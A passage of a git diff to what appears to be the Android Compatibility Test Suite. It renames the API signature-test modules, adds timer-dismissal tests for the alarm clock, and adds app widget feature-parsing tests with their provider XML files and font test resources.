+ PdfRenderer renderer = createRenderer(TWO_PAGES, mContext);
+ renderer.close();
+
+ firstRenderer.close();
}
@Test
diff --git a/tests/signature/api-check/Android.mk b/tests/signature/api-check/Android.mk
index 013cc4d..15fa178 100644
--- a/tests/signature/api-check/Android.mk
+++ b/tests/signature/api-check/Android.mk
@@ -30,8 +30,9 @@
LOCAL_STATIC_JAVA_LIBRARIES := \
cts-signature-common \
- repackaged-legacy-test \
+ repackaged.android.test.base \
repackaged.android.test.runner \
+ repackaged.android.test.mock \
include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/signature/api-check/android-test-base-27-api/Android.mk b/tests/signature/api-check/android-test-base-27-api/Android.mk
new file mode 100644
index 0000000..1adcb12c
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-27-api/Android.mk
@@ -0,0 +1,24 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsAndroidTestBase27ApiSignatureTestCases
+
+LOCAL_SIGNATURE_API_FILES := \
+ android-test-base-current.api \
+
+include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/android-test-base-27-api/AndroidManifest.xml b/tests/signature/api-check/android-test-base-27-api/AndroidManifest.xml
new file mode 100644
index 0000000..c65bfdf
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-27-api/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.signature.cts.api.android_test_base_26">
+ <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
+ <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
+
+ <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="27"/>
+
+ <application/>
+
+ <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
+ android:targetPackage="android.signature.cts.api.android_test_base_27"
+ android:label="Android Test Base 27 API Signature Test"/>
+
+</manifest>
diff --git a/tests/signature/api-check/android-test-base-27-api/AndroidTest.xml b/tests/signature/api-check/android-test-base-27-api/AndroidTest.xml
new file mode 100644
index 0000000..c9cbd9a
--- /dev/null
+++ b/tests/signature/api-check/android-test-base-27-api/AndroidTest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<configuration description="Config for CTS Android Test Base 27 API Signature test cases">
+ <option name="config-descriptor:metadata" key="component" value="systems" />
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
+ </target_preparer>
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="android-test-base-current.api->/data/local/tmp/signature-test/android-test-base-current.api" />
+ </target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true" />
+ <option name="test-file-name" value="CtsAndroidTestBase27ApiSignatureTestCases.apk" />
+ </target_preparer>
+ <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
+ <option name="package" value="android.signature.cts.api.android_test_base_27" />
+ <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
+ <option name="instrumentation-arg" key="expected-api-files" value="android-test-base-current.api" />
+ <option name="runtime-hint" value="5s" />
+ </test>
+</configuration>
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
index df69004..b382698 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
+++ b/tests/signature/api-check/apache-http-legacy-current-api/Android.mk
@@ -19,6 +19,6 @@
LOCAL_PACKAGE_NAME := CtsApacheHttpLegacyCurrentApiSignatureTestCases
LOCAL_SIGNATURE_API_FILES := \
- apache-http-legacy-current.api \
+ apache-http-legacy-minus-current.api \
include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
index a5e69a9..a9db2b0 100644
--- a/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
+++ b/tests/signature/api-check/apache-http-legacy-current-api/AndroidTest.xml
@@ -20,7 +20,7 @@
<option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
</target_preparer>
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="apache-http-legacy-current.api->/data/local/tmp/signature-test/apache-http-legacy-current.api" />
+ <option name="push" value="apache-http-legacy-minus-current.api->/data/local/tmp/signature-test/apache-http-legacy-minus-current.api" />
</target_preparer>
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
@@ -29,7 +29,7 @@
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.signature.cts.api.apache_http_legacy_current" />
<option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
- <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-current.api" />
+ <option name="instrumentation-arg" key="expected-api-files" value="apache-http-legacy-minus-current.api" />
<option name="runtime-hint" value="5s" />
</test>
</configuration>
diff --git a/tests/signature/api-check/legacy-test-26-api/Android.mk b/tests/signature/api-check/legacy-test-26-api/Android.mk
deleted file mode 100644
index 699bd0c..0000000
--- a/tests/signature/api-check/legacy-test-26-api/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsLegacyTest26ApiSignatureTestCases
-
-LOCAL_SIGNATURE_API_FILES := \
- legacy-test-current.api \
-
-include $(LOCAL_PATH)/../build_signature_apk.mk
diff --git a/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml b/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml
deleted file mode 100644
index 636dfd3..0000000
--- a/tests/signature/api-check/legacy-test-26-api/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.signature.cts.api.legacy_test_26">
- <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
- <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
-
- <uses-sdk android:minSdkVersion="25" android:targetSdkVersion="26"/>
-
- <application/>
-
- <instrumentation android:name="repackaged.android.test.InstrumentationTestRunner"
- android:targetPackage="android.signature.cts.api.legacy_test_26"
- android:label="Legacy Test 26 API Signature Test"/>
-
-</manifest>
diff --git a/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml b/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml
deleted file mode 100644
index ecb3299..0000000
--- a/tests/signature/api-check/legacy-test-26-api/AndroidTest.xml
+++ /dev/null
@@ -1,35 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<configuration description="Config for CTS Legacy Test 26 API Signature test cases">
- <option name="config-descriptor:metadata" key="component" value="systems" />
- <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
- <option name="run-command" value="mkdir -p /data/local/tmp/signature-test" />
- <option name="teardown-command" value="rm -rf /data/local/tmp/signature-test" />
- </target_preparer>
- <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
- <option name="push" value="legacy-test-current.api->/data/local/tmp/signature-test/legacy-test-current.api" />
- </target_preparer>
- <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
- <option name="cleanup-apks" value="true" />
- <option name="test-file-name" value="CtsLegacyTest26ApiSignatureTestCases.apk" />
- </target_preparer>
- <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
- <option name="package" value="android.signature.cts.api.legacy_test_26" />
- <option name="runner" value="repackaged.android.test.InstrumentationTestRunner" />
- <option name="instrumentation-arg" key="expected-api-files" value="legacy-test-current.api" />
- <option name="runtime-hint" value="5s" />
- </test>
-</configuration>
diff --git a/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
index 3473cfd..1ec58d7 100644
--- a/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
+++ b/tests/signature/api-check/src/android/signature/cts/api/SignatureTest.java
@@ -58,6 +58,9 @@
KNOWN_INACCESSIBLE_CLASSES.add("android.os.UserManager.UserRestrictionSource");
KNOWN_INACCESSIBLE_CLASSES.add(
"android.service.persistentdata.PersistentDataBlockManager.FlashLockState");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.IdentifierType");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.ProgramSelector.ProgramType");
+ KNOWN_INACCESSIBLE_CLASSES.add("android.hardware.radio.RadioManager.Band");
}
private TestResultObserver mResultObserver;
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index 71e33ae..abeae54 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -48,12 +48,12 @@
include $(LOCAL_PATH)/build_xml_api_file.mk
-# current legacy-test api, in XML format.
+# current android-test-base api, in XML format.
# ============================================================
include $(CLEAR_VARS)
-LOCAL_MODULE := cts-legacy-test-current-api
-LOCAL_MODULE_STEM := legacy-test-current.api
-LOCAL_SRC_FILES := frameworks/base/legacy-test/api/legacy-test-current.txt
+LOCAL_MODULE := cts-android-test-base-current-api
+LOCAL_MODULE_STEM := android-test-base-current.api
+LOCAL_SRC_FILES := frameworks/base/test-base/api/android-test-base-current.txt
include $(LOCAL_PATH)/build_xml_api_file.mk
@@ -62,7 +62,7 @@
include $(CLEAR_VARS)
LOCAL_MODULE := cts-android-test-mock-current-api
LOCAL_MODULE_STEM := android-test-mock-current.api
-LOCAL_SRC_FILES := frameworks/base/test-runner/api/android-test-mock-current.txt
+LOCAL_SRC_FILES := frameworks/base/test-mock/api/android-test-mock-current.txt
include $(LOCAL_PATH)/build_xml_api_file.mk
@@ -75,11 +75,28 @@
include $(LOCAL_PATH)/build_xml_api_file.mk
-# current apache-http-legacy api, in XML format.
-# ==============================================
+# current apache-http-legacy minus current api, in text format.
+# =============================================================
+# Removes any classes from the org.apache.http.legacy API description that are
+# also part of the Android API description.
include $(CLEAR_VARS)
-LOCAL_MODULE := cts-apache-http-legacy-current-api
-LOCAL_MODULE_STEM := apache-http-legacy-current.api
-LOCAL_SRC_FILES := external/apache-http/api/apache-http-legacy-current.txt
+LOCAL_MODULE_CLASS := ETC
+LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_ETC)
-include $(LOCAL_PATH)/build_xml_api_file.mk
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+LOCAL_MODULE := cts-apache-http-legacy-minus-current-api
+LOCAL_MODULE_STEM := apache-http-legacy-minus-current.api
+
+include $(BUILD_SYSTEM)/base_rules.mk
+$(LOCAL_BUILT_MODULE) : \
+ frameworks/base/api/current.txt \
+ external/apache-http/api/apache-http-legacy-current.txt \
+ | $(APICHECK)
+ @echo "Generate unique Apache Http Legacy API file -> $@"
+ @mkdir -p $(dir $@)
+ $(hide) $(APICHECK_COMMAND) -new_api_no_strip \
+ frameworks/base/api/current.txt \
+ external/apache-http/api/apache-http-legacy-current.txt \
+ $@
diff --git a/tests/signature/runSignatureTests.sh b/tests/signature/runSignatureTests.sh
index 623973d..e23d4fa 100755
--- a/tests/signature/runSignatureTests.sh
+++ b/tests/signature/runSignatureTests.sh
@@ -15,7 +15,7 @@
CtsSystemCurrentApiSignatureTestCases
CtsAndroidTestMockCurrentApiSignatureTestCases
CtsAndroidTestRunnerCurrentApiSignatureTestCases
-CtsLegacyTest26ApiSignatureTestCases
+CtsAndroidTestBase27ApiSignatureTestCases
CtsApacheHttpLegacyCurrentApiSignatureTestCases
"
else
diff --git a/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java b/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
index d469592..8f04d2a 100644
--- a/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
+++ b/tests/tests/alarmclock/common/src/android/alarmclock/common/Utils.java
@@ -24,8 +24,10 @@
public enum TestcaseType {
DISMISS_ALARM,
+ DISMISS_TIMER,
SET_ALARM,
SET_ALARM_FOR_DISMISSAL,
+ SET_TIMER_FOR_DISMISSAL,
SNOOZE_ALARM,
}
public static final String TESTCASE_TYPE = "Testcase_type";
diff --git a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
index ede762a..547203e 100644
--- a/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
+++ b/tests/tests/alarmclock/service/src/android/alarmclock/service/MainInteractionSession.java
@@ -78,12 +78,21 @@
AlarmClock.ALARM_SEARCH_MODE_NEXT);
break;
+ case DISMISS_TIMER:
+ intent = new Intent(AlarmClock.ACTION_DISMISS_TIMER);
+ break;
+
case SET_ALARM_FOR_DISMISSAL:
case SET_ALARM:
intent = new Intent(AlarmClock.ACTION_SET_ALARM);
intent.putExtra(AlarmClock.EXTRA_HOUR, 14);
break;
+ case SET_TIMER_FOR_DISMISSAL:
+ intent = new Intent(AlarmClock.ACTION_SET_TIMER);
+ intent.putExtra(AlarmClock.EXTRA_LENGTH, 10);
+ break;
+
case SNOOZE_ALARM:
intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
break;
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
index 224c8ab..69f19b9 100644
--- a/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
+++ b/tests/tests/alarmclock/src/android/alarmclock/cts/AlarmClockTestBase.java
@@ -89,11 +89,19 @@
intent = new Intent(AlarmClock.ACTION_DISMISS_ALARM);
break;
+ case DISMISS_TIMER:
+ intent = new Intent(AlarmClock.ACTION_DISMISS_TIMER);
+ break;
+
case SET_ALARM:
case SET_ALARM_FOR_DISMISSAL:
intent = new Intent(AlarmClock.ACTION_SET_ALARM);
break;
+ case SET_TIMER_FOR_DISMISSAL:
+ intent = new Intent(AlarmClock.ACTION_SET_TIMER);
+ break;
+
case SNOOZE_ALARM:
intent = new Intent(AlarmClock.ACTION_SNOOZE_ALARM);
break;
diff --git a/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java b/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java
new file mode 100644
index 0000000..dff8835
--- /dev/null
+++ b/tests/tests/alarmclock/src/android/alarmclock/cts/DismissTimerTest.java
@@ -0,0 +1,11 @@
+package android.alarmclock.cts;
+
+import android.alarmclock.common.Utils;
+
+public class DismissTimerTest extends AlarmClockTestBase {
+
+ public void testAll() throws Exception {
+ assertEquals(Utils.COMPLETION_RESULT, runTest(Utils.TestcaseType.SET_TIMER_FOR_DISMISSAL));
+ assertEquals(Utils.COMPLETION_RESULT, runTest(Utils.TestcaseType.DISMISS_TIMER));
+ }
+}
diff --git a/tests/tests/app.usage/AndroidManifest.xml b/tests/tests/app.usage/AndroidManifest.xml
index 462736a..e02e19d 100644
--- a/tests/tests/app.usage/AndroidManifest.xml
+++ b/tests/tests/app.usage/AndroidManifest.xml
@@ -26,7 +26,7 @@
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
- <application>
+ <application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
<activity android:name=".Activities$ActivityOne" />
diff --git a/tests/tests/appwidget/AndroidManifest.xml b/tests/tests/appwidget/AndroidManifest.xml
index 6f7d053..e7e7944 100644
--- a/tests/tests/appwidget/AndroidManifest.xml
+++ b/tests/tests/appwidget/AndroidManifest.xml
@@ -38,6 +38,30 @@
android:resource="@xml/second_appwidget_info" />
</receiver>
+ <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider1" >
+ <intent-filter>
+ <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+ </intent-filter>
+ <meta-data android:name="android.appwidget.provider"
+ android:resource="@xml/appwidget_info_with_feature1" />
+ </receiver>
+
+ <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider2" >
+ <intent-filter>
+ <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+ </intent-filter>
+ <meta-data android:name="android.appwidget.provider"
+ android:resource="@xml/appwidget_info_with_feature2" />
+ </receiver>
+
+ <receiver android:name="android.appwidget.cts.provider.AppWidgetProviderWithFeatures$Provider3" >
+ <intent-filter>
+ <action android:name="android.appwidget.action.APPWIDGET_UPDATE" />
+ </intent-filter>
+ <meta-data android:name="android.appwidget.provider"
+ android:resource="@xml/appwidget_info_with_feature3" />
+ </receiver>
+
<service android:name="android.appwidget.cts.service.MyAppWidgetService"
android:permission="android.permission.BIND_REMOTEVIEWS">
</service>
diff --git a/tests/tests/appwidget/res/xml/appwidget_info_with_feature1.xml b/tests/tests/appwidget/res/xml/appwidget_info_with_feature1.xml
new file mode 100644
index 0000000..cadb283
--- /dev/null
+++ b/tests/tests/appwidget/res/xml/appwidget_info_with_feature1.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<appwidget-provider xmlns:android="http://schemas.android.com/apk/res/android"
+ android:minWidth="@dimen/first_min_appwidget_size"
+ android:minHeight="@dimen/first_min_appwidget_size"
+ android:minResizeWidth="@dimen/first_min_resize_appwidget_size"
+ android:minResizeHeight="@dimen/first_min_resize_appwidget_size"
+ android:updatePeriodMillis="@integer/first_update_period_millis"
+ android:configure="android.appwidget.cts.provider.FirstAppWidgetConfigureActivity"
+ android:resizeMode="horizontal|vertical"
+ android:widgetCategory="home_screen|keyguard"
+ android:widgetFeatures="reconfigurable"
+ android:initialLayout="@layout/first_initial_layout"
+ android:initialKeyguardLayout="@layout/first_initial_keyguard_layout"
+ android:previewImage="@drawable/first_android_icon"
+ android:autoAdvanceViewId="@id/first_auto_advance_view_id">
+</appwidget-provider>
diff --git a/tests/tests/appwidget/res/xml/appwidget_info_with_feature2.xml b/tests/tests/appwidget/res/xml/appwidget_info_with_feature2.xml
new file mode 100644
index 0000000..89d60eb
--- /dev/null
+++ b/tests/tests/appwidget/res/xml/appwidget_info_with_feature2.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<appwidget-provider xmlns:android="http://schemas.android.com/apk/res/android"
+ android:minWidth="@dimen/first_min_appwidget_size"
+ android:minHeight="@dimen/first_min_appwidget_size"
+ android:minResizeWidth="@dimen/first_min_resize_appwidget_size"
+ android:minResizeHeight="@dimen/first_min_resize_appwidget_size"
+ android:updatePeriodMillis="@integer/first_update_period_millis"
+ android:configure="android.appwidget.cts.provider.FirstAppWidgetConfigureActivity"
+ android:resizeMode="horizontal|vertical"
+ android:widgetCategory="home_screen|keyguard"
+ android:widgetFeatures="hide_from_picker"
+ android:initialLayout="@layout/first_initial_layout"
+ android:initialKeyguardLayout="@layout/first_initial_keyguard_layout"
+ android:previewImage="@drawable/first_android_icon"
+ android:autoAdvanceViewId="@id/first_auto_advance_view_id">
+</appwidget-provider>
diff --git a/tests/tests/appwidget/res/xml/appwidget_info_with_feature3.xml b/tests/tests/appwidget/res/xml/appwidget_info_with_feature3.xml
new file mode 100644
index 0000000..25936ab
--- /dev/null
+++ b/tests/tests/appwidget/res/xml/appwidget_info_with_feature3.xml
@@ -0,0 +1,32 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+ Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<appwidget-provider xmlns:android="http://schemas.android.com/apk/res/android"
+ android:minWidth="@dimen/first_min_appwidget_size"
+ android:minHeight="@dimen/first_min_appwidget_size"
+ android:minResizeWidth="@dimen/first_min_resize_appwidget_size"
+ android:minResizeHeight="@dimen/first_min_resize_appwidget_size"
+ android:updatePeriodMillis="@integer/first_update_period_millis"
+ android:configure="android.appwidget.cts.provider.FirstAppWidgetConfigureActivity"
+ android:resizeMode="horizontal|vertical"
+ android:widgetCategory="home_screen|keyguard"
+ android:widgetFeatures="reconfigurable|hide_from_picker"
+ android:initialLayout="@layout/first_initial_layout"
+ android:initialKeyguardLayout="@layout/first_initial_keyguard_layout"
+ android:previewImage="@drawable/first_android_icon"
+ android:autoAdvanceViewId="@id/first_auto_advance_view_id">
+</appwidget-provider>
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 747a8bd..acafd7d 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -33,6 +33,7 @@
import android.appwidget.AppWidgetManager;
import android.appwidget.AppWidgetProviderInfo;
import android.appwidget.cts.provider.AppWidgetProviderCallbacks;
+import android.appwidget.cts.provider.AppWidgetProviderWithFeatures;
import android.appwidget.cts.provider.FirstAppWidgetProvider;
import android.appwidget.cts.provider.SecondAppWidgetProvider;
import android.appwidget.cts.service.MyAppWidgetService;
@@ -1308,6 +1309,25 @@
}
}
+ public void testWidgetFeaturesParsed() throws Exception {
+ if (!hasAppWidgets()) {
+ return;
+ }
+ assertEquals(0, getFirstAppWidgetProviderInfo().widgetFeatures);
+ String packageName = getInstrumentation().getTargetContext().getPackageName();
+
+ assertEquals(AppWidgetProviderInfo.WIDGET_FEATURE_RECONFIGURABLE,
+ getProviderInfo(new ComponentName(packageName,
+ AppWidgetProviderWithFeatures.Provider1.class.getName())).widgetFeatures);
+ assertEquals(AppWidgetProviderInfo.WIDGET_FEATURE_HIDE_FROM_PICKER,
+ getProviderInfo(new ComponentName(packageName,
+ AppWidgetProviderWithFeatures.Provider2.class.getName())).widgetFeatures);
+ assertEquals(AppWidgetProviderInfo.WIDGET_FEATURE_RECONFIGURABLE
+ | AppWidgetProviderInfo.WIDGET_FEATURE_HIDE_FROM_PICKER,
+ getProviderInfo(new ComponentName(packageName,
+ AppWidgetProviderWithFeatures.Provider3.class.getName())).widgetFeatures);
+ }
+
private void waitForCallCount(AtomicInteger counter, int expectedCount) {
synchronized (mLock) {
final long startTimeMillis = SystemClock.uptimeMillis();
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/provider/AppWidgetProviderWithFeatures.java b/tests/tests/appwidget/src/android/appwidget/cts/provider/AppWidgetProviderWithFeatures.java
new file mode 100644
index 0000000..d1f848a
--- /dev/null
+++ b/tests/tests/appwidget/src/android/appwidget/cts/provider/AppWidgetProviderWithFeatures.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.appwidget.cts.provider;
+
+public abstract class AppWidgetProviderWithFeatures extends StubbableAppWidgetProvider {
+ private static final Object sLock = new Object();
+
+ private static AppWidgetProviderCallbacks sCallbacks;
+
+ public static void setCallbacks(AppWidgetProviderCallbacks callbacks) {
+ synchronized (sLock) {
+ sCallbacks = callbacks;
+ }
+ }
+
+ @Override
+ protected AppWidgetProviderCallbacks getCallbacks() {
+ synchronized (sLock) {
+ if (sCallbacks != null) {
+ sCallbacks.setProvider(this);
+ }
+ return sCallbacks;
+ }
+ }
+
+ public static final class Provider1 extends AppWidgetProviderWithFeatures { }
+
+ public static final class Provider2 extends AppWidgetProviderWithFeatures { }
+
+ public static final class Provider3 extends AppWidgetProviderWithFeatures { }
+}
diff --git a/tests/tests/content/fonts_readme.txt b/tests/tests/content/fonts_readme.txt
new file mode 100644
index 0000000..f0de576
--- /dev/null
+++ b/tests/tests/content/fonts_readme.txt
@@ -0,0 +1,15 @@
+All fonts included in this project follow the below copyright and licensing:
+
+Copyright (C) 2017 The Android Open Source Project
+
+Licensed under the Apache License, Version 2.0 (the "License");
+you may not use this file except in compliance with the License.
+You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+Unless required by applicable law or agreed to in writing, software
+distributed under the License is distributed on an "AS IS" BASIS
+WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+See the License for the specific language governing permissions and
+limitations under the License.
\ No newline at end of file
diff --git a/tests/tests/content/res/font/sample_font_collection.ttc b/tests/tests/content/res/font/sample_font_collection.ttc
new file mode 100644
index 0000000..9252f3d
--- /dev/null
+++ b/tests/tests/content/res/font/sample_font_collection.ttc
Binary files differ
diff --git a/tests/tests/content/res/font/sample_ttc_family.xml b/tests/tests/content/res/font/sample_ttc_family.xml
new file mode 100644
index 0000000..ae9b63f
--- /dev/null
+++ b/tests/tests/content/res/font/sample_ttc_family.xml
@@ -0,0 +1,5 @@
+<?xml version="1.0" encoding="utf-8"?>
+<font-family xmlns:android="http://schemas.android.com/apk/res/android">
+ <font android:fontStyle="normal" android:font="@font/sample_font_collection" android:ttcIndex="0" />
